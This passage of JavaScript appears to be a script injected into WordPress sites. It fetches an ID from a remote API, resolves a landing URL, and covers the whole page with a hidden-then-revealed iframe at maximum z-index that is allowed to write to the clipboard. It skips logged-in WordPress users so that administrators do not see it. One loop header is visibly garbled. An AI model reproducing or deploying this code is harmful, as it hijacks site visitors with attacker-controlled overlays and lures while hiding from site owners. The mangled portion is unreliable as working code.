var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) {
cleanup("done");
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup("done");
return "";
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}
registry.runPromise = run();
})();
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